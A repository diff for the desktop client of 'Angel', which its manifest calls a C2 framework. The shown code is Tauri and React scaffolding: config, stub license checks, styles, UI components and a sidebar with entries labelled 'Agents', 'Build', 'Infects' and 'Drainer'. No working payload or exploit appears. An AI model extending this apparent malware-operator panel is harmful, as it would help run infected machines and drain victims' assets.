d="m 56.277533,-3.8051186 c 30.546127,0 55.308677,24.7625166 55.308677,55.3086436 0,30.54561 -24.76255,55.308165 -55.308677,55.308165 -30.545998,0 -55.30861206,-24.762555 -55.30861206,-55.308165 0,-30.546127 24.76261406,-55.3086436 55.30861206,-55.3086436"
inkscape:connector-curvature="0" />
<g
transform="matrix(1.0148899,0,0,1.0148899,-0.8432698,-5.0312058)"
id="g4152">
<path
inkscape:connector-curvature="0"
d="m 56.283048,5.1005059 c 27.94807,0 50.604272,22.6563571 50.604272,50.6048151 0,27.947941 -22.656202,50.604269 -50.604272,50.604269 -27.947941,0 -50.6047894,-22.656328 -50.6047894,-50.604269 0,-27.948458 22.6568484,-50.6048151 50.6047894,-50.6048151"
style="fill:#fac536;fill-opacity:1;fill-rule:evenodd;stroke:none"
id="path4419" />
<path
inkscape:connector-curvature="0"
d="m 23.994703,60.30905 64.576819,0 c 2.499455,0 4.544076,-2.044103 4.544076,-4.544076 l 0,-0.119823 c 0,-2.499973 -2.044621,-4.544077 -4.544076,-4.544077 l -64.576819,0 c -2.499585,0 -4.544076,2.044104 -4.544076,4.544077 l 0,0.119823 c 0,2.499973 2.044491,4.544076 4.544076,4.544076"
style="fill:#975914;fill-opacity:1;fill-rule:evenodd;stroke:none"
id="path4421" />
</g>
</g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 5.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.2 KiB

View File

@@ -0,0 +1,7 @@
# Generated by Cargo
# will have compiled files and executables
/target/
# Generated by Tauri
# will have schema files for capabilities auto-completion
/gen/schemas

4319
full/Angel-client/src-tauri/Cargo.lock generated Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,24 @@
[package]
name = "angel"
version = "0.1.0"
description = "Angel: lightweight & minimalistic, yet powerful and extensible C2 framework"
authors = ["0xkiss"]
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[lib]
# The `_lib` suffix may seem redundant but it is necessary
# to make the lib name unique and wouldn't conflict with the bin name.
# This seems to be only an issue on Windows, see https://github.com/rust-lang/cargo/issues/8519
name = "angel_lib"
crate-type = ["staticlib", "cdylib", "rlib"]
[build-dependencies]
tauri-build = { version = "2", features = [] }
[dependencies]
tauri = { version = "2", features = [] }
tauri-plugin-shell = "2"
serde = { version = "1", features = ["derive"] }
serde_json = "1"

View File

@@ -0,0 +1,3 @@
fn main() {
tauri_build::build()
}

Binary file not shown.

View File

@@ -0,0 +1,7 @@
{
"$schema": "../gen/schemas/desktop-schema.json",
"identifier": "default",
"description": "Capability for the main window",
"windows": ["main"],
"permissions": ["core:default", "shell:allow-open"]
}

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1 @@
{"default":{"identifier":"default","description":"Capability for the main window","local":true,"windows":["main"],"permissions":["core:default","shell:allow-open"]}}

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 205 KiB

View File

@@ -0,0 +1,14 @@
#[tauri::command(rename_all = "snake_case")]
pub fn validate_license(_license: String) -> bool {
return true;
}
#[tauri::command(rename_all = "snake_case")]
pub fn validate_username(_username: String) -> bool {
return true;
}
#[tauri::command(rename_all = "snake_case")]
pub fn get_app_version() -> String {
env!("CARGO_PKG_VERSION").to_string()
}

View File

@@ -0,0 +1,27 @@
use tauri::Manager;
mod commands;
#[cfg_attr(mobile, tauri::mobile_entry_point)]
pub fn run() {
tauri::Builder::default()
.setup(|app| {
let version = app
.config()
.version
.clone()
.unwrap_or_else(|| "".to_string());
let title = format!("Angel C2 - v{}", version);
let window = app.get_webview_window("main").unwrap();
window.set_title(&title).unwrap();
Ok(())
})
.plugin(tauri_plugin_shell::init())
.invoke_handler(tauri::generate_handler![
commands::validate_username,
commands::validate_license,
commands::get_app_version,
])
.run(tauri::generate_context!())
.expect("error while running tauri application");
}

View File

@@ -0,0 +1,5 @@
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
fn main() {
angel_lib::run()
}

View File

@@ -0,0 +1,34 @@
{
"$schema": "https://schema.tauri.app/config/2",
"productName": "angel",
"version": "0.1.0",
"identifier": "net.angel.app",
"build": {
"beforeDevCommand": "bun run dev",
"devUrl": "http://localhost:1420",
"beforeBuildCommand": "bun run build",
"frontendDist": "../dist"
},
"app": {
"windows": [
{
"title": "angel",
"width": 1100,
"height": 750
}
],
"security": {
"csp": null
}
},
"bundle": {
"active": true,
"targets": "all",
"icon": [
"icons/32x32.png",
"icons/128x128.png",
"icons/icon.icns",
"icons/icon.ico"
]
}
}

View File

@@ -0,0 +1,254 @@
@import url("https://fonts.googleapis.com/css2?family=Fira+Code:wght@300..700&display=swap");
@tailwind base;
@tailwind components;
@tailwind utilities;
:root {
font-family: Inter, Avenir, Helvetica, Arial, sans-serif;
font-size: 16px;
line-height: 24px;
font-weight: 400;
color: #0f0f0f;
background-color: #f6f6f6;
font-synthesis: none;
text-rendering: optimizeLegibility;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
-webkit-text-size-adjust: 100%;
}
html,
body {
height: 100%;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
overflow: hidden;
}
.login-box {
min-height: 700px;
max-width: 475px;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
display: flex;
position: absolute;
flex-direction: column;
justify-content: center;
align-items: center;
padding: 20px;
}
@keyframes fadeOut {
0% {
opacity: 1;
}
100% {
opacity: 0;
}
}
.fade-out {
animation: fadeOut 0.5s forwards;
}
.dialog-overlay {
background-color: transparent !important;
}
.dialog-open ~ .other-components {
filter: blur(4px);
}
.fixed {
z-index: 10;
}
.sidebar {
top: 60px;
}
.splash-screen {
display: inline-flex;
flex-direction: column;
justify-content: center;
align-items: center;
height: 100vh;
width: 100vw;
background-color: #ffffff;
position: relative;
}
.splash-image {
width: 512px;
height: 512px;
opacity: 0;
animation: fadeIn 2s ease-in-out forwards;
}
.loader {
width: 20px;
height: 20px;
border: 5px solid black;
border-radius: 50%;
position: relative;
border-top-color: transparent;
animation: spin 2s linear infinite;
margin-top: 20px;
margin-right: 13px;
}
@keyframes fadeIn {
0% {
opacity: 0;
}
100% {
opacity: 1;
}
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
.container {
/*display: flex;
flex-direction: column;
justify-content: center;
align-items: center;*/
//width: 100%;
height: 100vh;
/*margin: 0;
padding: 0;
box-sizing: border-box;*/
background-color: #f6f6f6;
}
.logo {
height: 6em;
padding: 1.5em;
will-change: filter;
transition: 0.75s;
}
.logo.tauri:hover {
filter: drop-shadow(0 0 2em #24c8db);
}
.row {
display: flex;
justify-content: center;
}
@media (prefers-color-scheme: dark) {
:root {
color: #f6f6f6;
background-color: #2f2f2f;
}
a:hover {
color: #24c8db;
}
input,
button {
color: #ffffff;
background-color: #0f0f0f98;
}
button:active {
background-color: #0f0f0f69;
}
}
@layer base {
:root {
--background: 0 0% 100%;
--foreground: 224 71.4% 4.1%;
--card: 0 0% 100%;
--card-foreground: 224 71.4% 4.1%;
--popover: 0 0% 100%;
--popover-foreground: 224 71.4% 4.1%;
--primary: 220.9 39.3% 11%;
--primary-foreground: 210 20% 98%;
--secondary: 220 14.3% 95.9%;
--secondary-foreground: 220.9 39.3% 11%;
--muted: 220 14.3% 95.9%;
--muted-foreground: 220 8.9% 46.1%;
--accent: 220 14.3% 95.9%;
--accent-foreground: 220.9 39.3% 11%;
--destructive: 0 84.2% 60.2%;
--destructive-foreground: 210 20% 98%;
--border: 220 13% 91%;
--input: 220 13% 91%;
--ring: 224 71.4% 4.1%;
--radius: 0.5rem;
--chart-1: 12 76% 61%;
--chart-2: 173 58% 39%;
--chart-3: 197 37% 24%;
--chart-4: 43 74% 66%;
--chart-5: 27 87% 67%;
--sidebar-background: 0 0% 98%;
--sidebar-foreground: 240 5.3% 26.1%;
--sidebar-primary: 240 5.9% 10%;
--sidebar-primary-foreground: 0 0% 98%;
--sidebar-accent: 240 4.8% 95.9%;
--sidebar-accent-foreground: 240 5.9% 10%;
--sidebar-border: 220 13% 91%;
--sidebar-ring: 217.2 91.2% 59.8%;
}
.dark {
--background: 224 71.4% 4.1%;
--foreground: 210 20% 98%;
--card: 224 71.4% 4.1%;
--card-foreground: 210 20% 98%;
--popover: 224 71.4% 4.1%;
--popover-foreground: 210 20% 98%;
--primary: 210 20% 98%;
--primary-foreground: 220.9 39.3% 11%;
--secondary: 215 27.9% 16.9%;
--secondary-foreground: 210 20% 98%;
--muted: 215 27.9% 16.9%;
--muted-foreground: 217.9 10.6% 64.9%;
--accent: 215 27.9% 16.9%;
--accent-foreground: 210 20% 98%;
--destructive: 0 62.8% 30.6%;
--destructive-foreground: 210 20% 98%;
--border: 215 27.9% 16.9%;
--input: 215 27.9% 16.9%;
--ring: 216 12.2% 83.9%;
--chart-1: 220 70% 50%;
--chart-2: 160 60% 45%;
--chart-3: 30 80% 55%;
--chart-4: 280 65% 60%;
--chart-5: 340 75% 55%;
--sidebar-background: 240 5.9% 10%;
--sidebar-foreground: 240 4.8% 95.9%;
--sidebar-primary: 224.3 76.3% 48%;
--sidebar-primary-foreground: 0 0% 100%;
--sidebar-accent: 240 3.7% 15.9%;
--sidebar-accent-foreground: 240 4.8% 95.9%;
--sidebar-border: 240 3.7% 15.9%;
--sidebar-ring: 217.2 91.2% 59.8%;
}
}
@layer base {
* {
@apply border-border;
}
body {
@apply bg-background text-foreground;
}
}

View File

@@ -0,0 +1,80 @@
"use client";
import "./App.scss";
import Sign_in from "./sign_in";
import Sign_up from "./sign_up";
import Dashboard from "./dash";
import { useState, useEffect } from "react";
import {
BrowserRouter as Router,
Route,
Routes,
useNavigate,
} from "react-router-dom";
import { Button } from "./components/ui/button";
import { useAlert } from "./alert";
import SplashScreen from "./splashscreen";
import { getShowSplash, setShowSplash } from "./global";
function App() {
const { triggerAlert, AlertComponent } = useAlert();
const [showSplash, setShowSplashState] = useState(getShowSplash());
useEffect(() => {
if (showSplash) {
const splashTimeout = setTimeout(() => {
setShowSplashState(false);
setShowSplash(false);
}, 5000);
return () => clearTimeout(splashTimeout);
}
}, [showSplash]);
if (showSplash) {
return <SplashScreen />;
}
return (
<Router>
<main className="container bg-gray-100 font-fira-code flex h-screen">
{AlertComponent}
<Routes>
<Route path="/" element={<Home triggerAlert={triggerAlert} />} />
<Route path="/sign_in" element={<Sign_in />} />
<Route path="/sign_up" element={<Sign_up />} />
<Route path="/dash" element={<Dashboard />} />
</Routes>
</main>
</Router>
);
}
function Home({
triggerAlert,
}: {
triggerAlert: (
title: string,
description: string,
type?: "default" | "error",
) => void;
}) {
const nav = useNavigate();
return (
<>
<h1>Welcome to Tauri + React</h1>
<Button onClick={() => triggerAlert("event", "meow", "default")}>
Show Event Alert
</Button>
<Button onClick={() => triggerAlert("error", "meow", "error")}>
Show Error Alert
</Button>
<Button onClick={() => nav("/sign_in")} className="btn">
Go to Login
</Button>
</>
);
}
export default App;

View File

@@ -0,0 +1,63 @@
import { RocketIcon, ExclamationTriangleIcon } from "@radix-ui/react-icons";
import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert";
import { useState, useEffect } from "react";
export function useAlert() {
const [alertData, setAlertData] = useState<{
title: string;
description: string;
type: "default" | "error";
} | null>(null);
const [visible, setVisible] = useState(false);
const triggerAlert = (
title: string,
description: string,
type: "default" | "error" = "default"
) => {
setAlertData({ title, description, type });
setVisible(true);
setTimeout(() => {
setVisible(false);
}, 3000);
};
useEffect(() => {
if (!visible) {
const timer = setTimeout(() => {
setAlertData(null);
}, 300);
return () => clearTimeout(timer);
}
}, [visible]);
const AlertComponent = alertData ? (
<div
className={`fixed top-4 right-4 z-50 transition-all duration-300 transform ${
visible ? "opacity-100 translate-y-0" : "opacity-0 -translate-y-4"
}`}
>
<Alert
variant={alertData.type === "error" ? "destructive" : "default"}
className="border-2"
>
{alertData.type === "error" ? (
<ExclamationTriangleIcon className="h-4 w-4" />
) : (
<RocketIcon className="h-4 w-4" />
)}
<AlertTitle className="font-bold">
{alertData.type === "error"
? `Error - ${alertData.title}`
: `Event - ${alertData.title}`}
</AlertTitle>
<AlertDescription>{alertData.description}</AlertDescription>
</Alert>
</div>
) : null;
return { triggerAlert, AlertComponent };
}

View File

@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" role="img" class="iconify iconify--logos" width="35.93" height="32" preserveAspectRatio="xMidYMid meet" viewBox="0 0 256 228"><path fill="#00D8FF" d="M210.483 73.824a171.49 171.49 0 0 0-8.24-2.597c.465-1.9.893-3.777 1.273-5.621c6.238-30.281 2.16-54.676-11.769-62.708c-13.355-7.7-35.196.329-57.254 19.526a171.23 171.23 0 0 0-6.375 5.848a155.866 155.866 0 0 0-4.241-3.917C100.759 3.829 77.587-4.822 63.673 3.233C50.33 10.957 46.379 33.89 51.995 62.588a170.974 170.974 0 0 0 1.892 8.48c-3.28.932-6.445 1.924-9.474 2.98C17.309 83.498 0 98.307 0 113.668c0 15.865 18.582 31.778 46.812 41.427a145.52 145.52 0 0 0 6.921 2.165a167.467 167.467 0 0 0-2.01 9.138c-5.354 28.2-1.173 50.591 12.134 58.266c13.744 7.926 36.812-.22 59.273-19.855a145.567 145.567 0 0 0 5.342-4.923a168.064 168.064 0 0 0 6.92 6.314c21.758 18.722 43.246 26.282 56.54 18.586c13.731-7.949 18.194-32.003 12.4-61.268a145.016 145.016 0 0 0-1.535-6.842c1.62-.48 3.21-.974 4.76-1.488c29.348-9.723 48.443-25.443 48.443-41.52c0-15.417-17.868-30.326-45.517-39.844Zm-6.365 70.984c-1.4.463-2.836.91-4.3 1.345c-3.24-10.257-7.612-21.163-12.963-32.432c5.106-11 9.31-21.767 12.459-31.957c2.619.758 5.16 1.557 7.61 2.4c23.69 8.156 38.14 20.213 38.14 29.504c0 9.896-15.606 22.743-40.946 31.14Zm-10.514 20.834c2.562 12.94 2.927 24.64 1.23 33.787c-1.524 8.219-4.59 13.698-8.382 15.893c-8.067 4.67-25.32-1.4-43.927-17.412a156.726 156.726 0 0 1-6.437-5.87c7.214-7.889 14.423-17.06 21.459-27.246c12.376-1.098 24.068-2.894 34.671-5.345a134.17 134.17 0 0 1 1.386 6.193ZM87.276 214.515c-7.882 2.783-14.16 2.863-17.955.675c-8.075-4.657-11.432-22.636-6.853-46.752a156.923 156.923 0 0 1 1.869-8.499c10.486 2.32 22.093 3.988 34.498 4.994c7.084 9.967 14.501 19.128 21.976 27.15a134.668 134.668 0 0 1-4.877 4.492c-9.933 8.682-19.886 14.842-28.658 17.94ZM50.35 144.747c-12.483-4.267-22.792-9.812-29.858-15.863c-6.35-5.437-9.555-10.836-9.555-15.216c0-9.322 13.897-21.212 37.076-29.293c2.813-.98 5.757-1.905 8.812-2.773c3.204 10.42 7.406 21.315 12.477 32.332c-5.137 11.18-9.399 22.249-12.634 32.792a134.718 134.718 0 0 1-6.318-1.979Zm12.378-84.26c-4.811-24.587-1.616-43.134 6.425-47.789c8.564-4.958 27.502 2.111 47.463 19.835a144.318 144.318 0 0 1 3.841 3.545c-7.438 7.987-14.787 17.08-21.808 26.988c-12.04 1.116-23.565 2.908-34.161 5.309a160.342 160.342 0 0 1-1.76-7.887Zm110.427 27.268a347.8 347.8 0 0 0-7.785-12.803c8.168 1.033 15.994 2.404 23.343 4.08c-2.206 7.072-4.956 14.465-8.193 22.045a381.151 381.151 0 0 0-7.365-13.322Zm-45.032-43.861c5.044 5.465 10.096 11.566 15.065 18.186a322.04 322.04 0 0 0-30.257-.006c4.974-6.559 10.069-12.652 15.192-18.18ZM82.802 87.83a323.167 323.167 0 0 0-7.227 13.238c-3.184-7.553-5.909-14.98-8.134-22.152c7.304-1.634 15.093-2.97 23.209-3.984a321.524 321.524 0 0 0-7.848 12.897Zm8.081 65.352c-8.385-.936-16.291-2.203-23.593-3.793c2.26-7.3 5.045-14.885 8.298-22.6a321.187 321.187 0 0 0 7.257 13.246c2.594 4.48 5.28 8.868 8.038 13.147Zm37.542 31.03c-5.184-5.592-10.354-11.779-15.403-18.433c4.902.192 9.899.29 14.978.29c5.218 0 10.376-.117 15.453-.343c-4.985 6.774-10.018 12.97-15.028 18.486Zm52.198-57.817c3.422 7.8 6.306 15.345 8.596 22.52c-7.422 1.694-15.436 3.058-23.88 4.071a382.417 382.417 0 0 0 7.859-13.026a347.403 347.403 0 0 0 7.425-13.565Zm-16.898 8.101a358.557 358.557 0 0 1-12.281 19.815a329.4 329.4 0 0 1-23.444.823c-7.967 0-15.716-.248-23.178-.732a310.202 310.202 0 0 1-12.513-19.846h.001a307.41 307.41 0 0 1-10.923-20.627a310.278 310.278 0 0 1 10.89-20.637l-.001.001a307.318 307.318 0 0 1 12.413-19.761c7.613-.576 15.42-.876 23.31-.876H128c7.926 0 15.743.303 23.354.883a329.357 329.357 0 0 1 12.335 19.695a358.489 358.489 0 0 1 11.036 20.54a329.472 329.472 0 0 1-11 20.722Zm22.56-122.124c8.572 4.944 11.906 24.881 6.52 51.026c-.344 1.668-.73 3.367-1.15 5.09c-10.622-2.452-22.155-4.275-34.23-5.408c-7.034-10.017-14.323-19.124-21.64-27.008a160.789 160.789 0 0 1 5.888-5.4c18.9-16.447 36.564-22.941 44.612-18.3ZM128 90.808c12.625 0 22.86 10.235 22.86 22.86s-10.235 22.86-22.86 22.86s-22.86-10.235-22.86-22.86s10.235-22.86 22.86-22.86Z"></path></svg>

After

Width:  |  Height:  |  Size: 4.0 KiB

View File

@@ -0,0 +1,199 @@
import {
Calendar,
Home,
Inbox,
Search,
Settings,
Boxes,
ChartNoAxesCombined,
Waypoints,
DatabaseBackup,
ReceiptText,
Computer,
HardDrive,
Dot,
} from "lucide-react";
import { invoke } from "@tauri-apps/api/core";
import { useState, useEffect } from "react";
import {
Sidebar,
SidebarContent,
SidebarGroup,
SidebarGroupContent,
SidebarGroupLabel,
SidebarMenu,
SidebarMenuButton,
SidebarMenuItem,
SidebarSeparator,
SidebarMenuSub,
SidebarMenuSubItem,
} from "@/components/ui/sidebar";
import {
CollapsibleTrigger,
Collapsible,
CollapsibleContent,
} from "@/components/ui/collapsible";
const settingsitems = [
{
title: "Preferences",
url: "#",
icon: Waypoints,
},
{
title: "Privacy Policy",
url: "#",
icon: DatabaseBackup,
},
{
title: "Terms & Conditions",
url: "#",
icon: ReceiptText,
},
];
const dashitems = [
{
title: "Agents",
url: "#",
icon: Computer,
},
{
title: "Build",
url: "#",
icon: Boxes,
},
];
const DashSidebar = () => {
const [versionApp, setVersionApp] = useState("");
useEffect(() => {
const fetchVersion = async () => {
const version: string = await invoke("get_app_version");
setVersionApp(version);
};
fetchVersion();
}, []);
const new_messages = true;
const messages = ["meow", "meow"];
return (
<Sidebar className="mt-10 border-b border-gray-400">
<SidebarContent className="bg-gray-100">
<SidebarGroup>
<SidebarGroupLabel>Angel Panel v{versionApp}</SidebarGroupLabel>
<SidebarGroupContent>
<SidebarMenu>
<SidebarMenuItem key="Inbox" className="mt-3">
<SidebarMenuButton asChild className="outline-gray-200">
<a href="#" className="relative flex items-center">
<Inbox />
<span>Inbox</span>
{new_messages && (
<div className="absolute right-0 flex items-center -ml-1 mr-3">
<Dot size={26} color="#ff6161" strokeWidth={2.75} />
<span>{messages.length}</span>
</div>
)}
</a>
</SidebarMenuButton>
</SidebarMenuItem>
</SidebarMenu>
</SidebarGroupContent>
</SidebarGroup>
<SidebarSeparator />
<SidebarGroup>
<SidebarGroupContent>
<SidebarMenu>
<Collapsible defaultOpen className="group/collapsible">
<SidebarMenuItem>
<CollapsibleTrigger asChild>
<SidebarMenuButton asChild>
<a href="#">
<ChartNoAxesCombined />
<span>Analytics</span>
</a>
</SidebarMenuButton>
</CollapsibleTrigger>
<CollapsibleContent>
<SidebarMenuSub>
<SidebarMenuSubItem key="Overview">
<SidebarMenuButton asChild>
<a href="#">
<span>Overview</span>
</a>
</SidebarMenuButton>
</SidebarMenuSubItem>
<SidebarMenuSubItem key="Infects">
<SidebarMenuButton asChild>
<a href="#">
<span>Infects</span>
</a>
</SidebarMenuButton>
</SidebarMenuSubItem>
<SidebarMenuSubItem key="Drainer">
<SidebarMenuButton asChild>
<a href="#">
<span>Drainer</span>
</a>
</SidebarMenuButton>
</SidebarMenuSubItem>
</SidebarMenuSub>
</CollapsibleContent>
</SidebarMenuItem>
</Collapsible>
{dashitems.map((item) => (
<SidebarMenuItem key={item.title}>
<SidebarMenuButton asChild>
<a href={item.url}>
<item.icon />
<span>{item.title}</span>
</a>
</SidebarMenuButton>
</SidebarMenuItem>
))}
</SidebarMenu>
</SidebarGroupContent>
</SidebarGroup>
<SidebarSeparator />
<SidebarGroup>
<SidebarGroupContent>
<SidebarMenu>
{settingsitems.map((item) => (
<SidebarMenuItem key={item.title}>
<SidebarMenuButton asChild>
<a href={item.url}>
<item.icon />
<span>{item.title}</span>
</a>
</SidebarMenuButton>
</SidebarMenuItem>
))}
</SidebarMenu>
</SidebarGroupContent>
</SidebarGroup>
<SidebarSeparator />
<SidebarGroup>
<SidebarGroupContent>
<SidebarMenu>
<SidebarMenuItem key="Settings">
<SidebarMenuButton asChild>
<a href="#">
<Settings />
<span>Settings</span>
</a>
</SidebarMenuButton>
</SidebarMenuItem>
</SidebarMenu>
</SidebarGroupContent>
</SidebarGroup>
</SidebarContent>
</Sidebar>
);
};
export default DashSidebar;

View File

@@ -0,0 +1,59 @@
import * as React from "react"
import { cva, type VariantProps } from "class-variance-authority"
import { cn } from "@/lib/utils"
const alertVariants = cva(
"relative w-full rounded-lg border px-4 py-3 text-sm [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground [&>svg~*]:pl-7",
{
variants: {
variant: {
default: "bg-background text-foreground",
destructive:
"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive",
},
},
defaultVariants: {
variant: "default",
},
}
)
const Alert = React.forwardRef<
HTMLDivElement,
React.HTMLAttributes<HTMLDivElement> & VariantProps<typeof alertVariants>
>(({ className, variant, ...props }, ref) => (
<div
ref={ref}
role="alert"
className={cn(alertVariants({ variant }), className)}
{...props}
/>
))
Alert.displayName = "Alert"
const AlertTitle = React.forwardRef<
HTMLParagraphElement,
React.HTMLAttributes<HTMLHeadingElement>
>(({ className, ...props }, ref) => (
<h5
ref={ref}
className={cn("mb-1 font-medium leading-none tracking-tight", className)}
{...props}
/>
))
AlertTitle.displayName = "AlertTitle"
const AlertDescription = React.forwardRef<
HTMLParagraphElement,
React.HTMLAttributes<HTMLParagraphElement>
>(({ className, ...props }, ref) => (
<div
ref={ref}
className={cn("text-sm [&_p]:leading-relaxed", className)}
{...props}
/>
))
AlertDescription.displayName = "AlertDescription"
export { Alert, AlertTitle, AlertDescription }

View File

@@ -0,0 +1,48 @@
import * as React from "react"
import * as AvatarPrimitive from "@radix-ui/react-avatar"
import { cn } from "@/lib/utils"
const Avatar = React.forwardRef<
React.ElementRef<typeof AvatarPrimitive.Root>,
React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Root>
>(({ className, ...props }, ref) => (
<AvatarPrimitive.Root
ref={ref}
className={cn(
"relative flex h-10 w-10 shrink-0 overflow-hidden rounded-full",
className
)}
{...props}
/>
))
Avatar.displayName = AvatarPrimitive.Root.displayName
const AvatarImage = React.forwardRef<
React.ElementRef<typeof AvatarPrimitive.Image>,
React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Image>
>(({ className, ...props }, ref) => (
<AvatarPrimitive.Image
ref={ref}
className={cn("aspect-square h-full w-full", className)}
{...props}
/>
))
AvatarImage.displayName = AvatarPrimitive.Image.displayName
const AvatarFallback = React.forwardRef<
React.ElementRef<typeof AvatarPrimitive.Fallback>,
React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Fallback>
>(({ className, ...props }, ref) => (
<AvatarPrimitive.Fallback
ref={ref}
className={cn(
"flex h-full w-full items-center justify-center rounded-full bg-muted",
className
)}
{...props}
/>
))
AvatarFallback.displayName = AvatarPrimitive.Fallback.displayName
export { Avatar, AvatarImage, AvatarFallback }

View File

@@ -0,0 +1,57 @@
import * as React from "react"
import { Slot } from "@radix-ui/react-slot"
import { cva, type VariantProps } from "class-variance-authority"
import { cn } from "@/lib/utils"
const buttonVariants = cva(
"inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0",
{
variants: {
variant: {
default:
"bg-primary text-primary-foreground shadow hover:bg-primary/90",
destructive:
"bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90",
outline:
"border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground",
secondary:
"bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80",
ghost: "hover:bg-accent hover:text-accent-foreground",
link: "text-primary underline-offset-4 hover:underline",
},
size: {
default: "h-9 px-4 py-2",
sm: "h-8 rounded-md px-3 text-xs",
lg: "h-10 rounded-md px-8",
icon: "h-9 w-9",
},
},
defaultVariants: {
variant: "default",
size: "default",
},
}
)
export interface ButtonProps
extends React.ButtonHTMLAttributes<HTMLButtonElement>,
VariantProps<typeof buttonVariants> {
asChild?: boolean
}
const Button = React.forwardRef<HTMLButtonElement, ButtonProps>(
({ className, variant, size, asChild = false, ...props }, ref) => {
const Comp = asChild ? Slot : "button"
return (
<Comp
className={cn(buttonVariants({ variant, size, className }))}
ref={ref}
{...props}
/>
)
}
)
Button.displayName = "Button"
export { Button, buttonVariants }

View File

@@ -0,0 +1,76 @@
import * as React from "react"
import { cn } from "@/lib/utils"
const Card = React.forwardRef<
HTMLDivElement,
React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => (
<div
ref={ref}
className={cn(
"rounded-xl border bg-card text-card-foreground shadow",
className
)}
{...props}
/>
))
Card.displayName = "Card"
const CardHeader = React.forwardRef<
HTMLDivElement,
React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => (
<div
ref={ref}
className={cn("flex flex-col space-y-1.5 p-6", className)}
{...props}
/>
))
CardHeader.displayName = "CardHeader"
const CardTitle = React.forwardRef<
HTMLParagraphElement,
React.HTMLAttributes<HTMLHeadingElement>
>(({ className, ...props }, ref) => (
<h3
ref={ref}
className={cn("font-semibold leading-none tracking-tight", className)}
{...props}
/>
))
CardTitle.displayName = "CardTitle"
const CardDescription = React.forwardRef<
HTMLParagraphElement,
React.HTMLAttributes<HTMLParagraphElement>
>(({ className, ...props }, ref) => (
<p
ref={ref}
className={cn("text-sm text-muted-foreground", className)}
{...props}
/>
))
CardDescription.displayName = "CardDescription"
const CardContent = React.forwardRef<
HTMLDivElement,
React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => (
<div ref={ref} className={cn("p-6 pt-0", className)} {...props} />
))
CardContent.displayName = "CardContent"
const CardFooter = React.forwardRef<
HTMLDivElement,
React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => (
<div
ref={ref}
className={cn("flex items-center p-6 pt-0", className)}
{...props}
/>
))
CardFooter.displayName = "CardFooter"
export { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent }

View File

@@ -0,0 +1,28 @@
import * as React from "react"
import * as CheckboxPrimitive from "@radix-ui/react-checkbox"
import { CheckIcon } from "@radix-ui/react-icons"
import { cn } from "@/lib/utils"
const Checkbox = React.forwardRef<
React.ElementRef<typeof CheckboxPrimitive.Root>,
React.ComponentPropsWithoutRef<typeof CheckboxPrimitive.Root>
>(({ className, ...props }, ref) => (
<CheckboxPrimitive.Root
ref={ref}
className={cn(
"peer h-4 w-4 shrink-0 rounded-sm border border-primary shadow focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground",
className
)}
{...props}
>
<CheckboxPrimitive.Indicator
className={cn("flex items-center justify-center text-current")}
>
<CheckIcon className="h-4 w-4" />
</CheckboxPrimitive.Indicator>
</CheckboxPrimitive.Root>
))
Checkbox.displayName = CheckboxPrimitive.Root.displayName
export { Checkbox }

View File

@@ -0,0 +1,9 @@
import * as CollapsiblePrimitive from "@radix-ui/react-collapsible"
const Collapsible = CollapsiblePrimitive.Root
const CollapsibleTrigger = CollapsiblePrimitive.CollapsibleTrigger
const CollapsibleContent = CollapsiblePrimitive.CollapsibleContent
export { Collapsible, CollapsibleTrigger, CollapsibleContent }

View File

@@ -0,0 +1,153 @@
import * as React from "react"
import { type DialogProps } from "@radix-ui/react-dialog"
import { MagnifyingGlassIcon } from "@radix-ui/react-icons"
import { Command as CommandPrimitive } from "cmdk"
import { cn } from "@/lib/utils"
import { Dialog, DialogContent } from "@/components/ui/dialog"
const Command = React.forwardRef<
React.ElementRef<typeof CommandPrimitive>,
React.ComponentPropsWithoutRef<typeof CommandPrimitive>
>(({ className, ...props }, ref) => (
<CommandPrimitive
ref={ref}
className={cn(
"flex h-full w-full flex-col overflow-hidden rounded-md bg-popover text-popover-foreground",
className
)}
{...props}
/>
))
Command.displayName = CommandPrimitive.displayName
interface CommandDialogProps extends DialogProps {}
const CommandDialog = ({ children, ...props }: CommandDialogProps) => {
return (
<Dialog {...props}>
<DialogContent className="overflow-hidden p-0">
